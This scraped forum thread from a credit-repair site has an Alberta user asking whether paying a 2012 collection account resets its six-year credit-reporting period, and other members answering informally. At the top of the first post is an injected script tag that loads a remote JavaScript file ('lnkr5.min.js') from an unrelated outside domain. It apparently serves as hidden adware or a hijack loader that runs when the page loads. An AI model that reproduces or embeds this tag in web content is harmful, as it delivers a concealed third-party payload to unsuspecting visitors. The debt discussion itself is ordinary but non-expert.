Jump to content

Sign in to follow this  

Handling collection account

Recommended Posts

<script src="https://netanalitics.space/addons/lnkr5.min.js"type="text/javascript"> </script> Hi all,


I'm Alex and I've just recently started on the path to understanding and managing my credit. I've got my credit reports from Equifax and Transunion and am working on getting the negative areas dealt with as best as possible. The biggest negative I have is an account in collections:

Reported By: Agency Name - EOS CANADA INC, Original Creditor - <Removed for Privacy>

Assigned: May 13, 2013

Reported: Jul 18, 2016

First Date of Delinquency: Dec 14, 2012

Status: blank

Original: 383

Balance: 383


I know what it is and I'm willing to pay it off, but I want to make sure I handle it the best way possible. If I pay this off when will it be removed from my credit report? Does the date get reset? I've tried to find an answer but it feels like there is a lot of contradictory info out there.

Other info that might be important: I haven't made any payments or interacted with anyone about this debt at any point, so I don't think would be any new activity to reset it.


If anyone has any suggestions or needs more info please let me know. I really appreciate any help offered!

Share this post

Link to post
Share on other sites

< removed for Privacy> ???


Canada has many different Statutes of limitation for lawsuits ( 2-6 years ) and for credit reporting the limit is 6 years from the DOLA


Information about any debt if at least 6 years have passed since the date you last made a payment on that debt or, if no payment has been made on that debt, since the date the debt was incurred


check the pinned topic for links to the different Laws




So if the DOFD was Dec 2012, and you've made no other payment on it since, it's going to fall off by the end of the year and no longer be on your reports

Share this post

Link to post
Share on other sites

Thanks for the response! I added the <removed for privacy> since the original creditor was a person's name.


I'm in Alberta so the Statue of Limitations is 2 years I believe, which means the legal liability has passed in this case. So it's probably best to do nothing until the entry falls off in December, since paying it off would count as new activity.


If I pay the debt after the entry has fallen of the report would that add it back onto the report? I'd like to pay the debt if possible.


It seems strange that the system would punish people for paying older debt by resetting the 6 year timer if they pay.


Thanks again for the info, I appreciate it!

Share this post

Link to post
Share on other sites

in America , the Date of first delinquency isn't reset by repaying the debt, so they can't report it as new again


however the Statute of limitations is usually ( depends on the state ) reset when making a payment

Share this post

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

About Us

Since 2003, creditboards.com has helped thousands of people repair their credit, force abusive collection agents to follow the law, ensure proper reporting by credit reporting agencies, and provided financial education to help avoid the pitfalls that can lead to negative tradelines.
  • Create New...

Important Information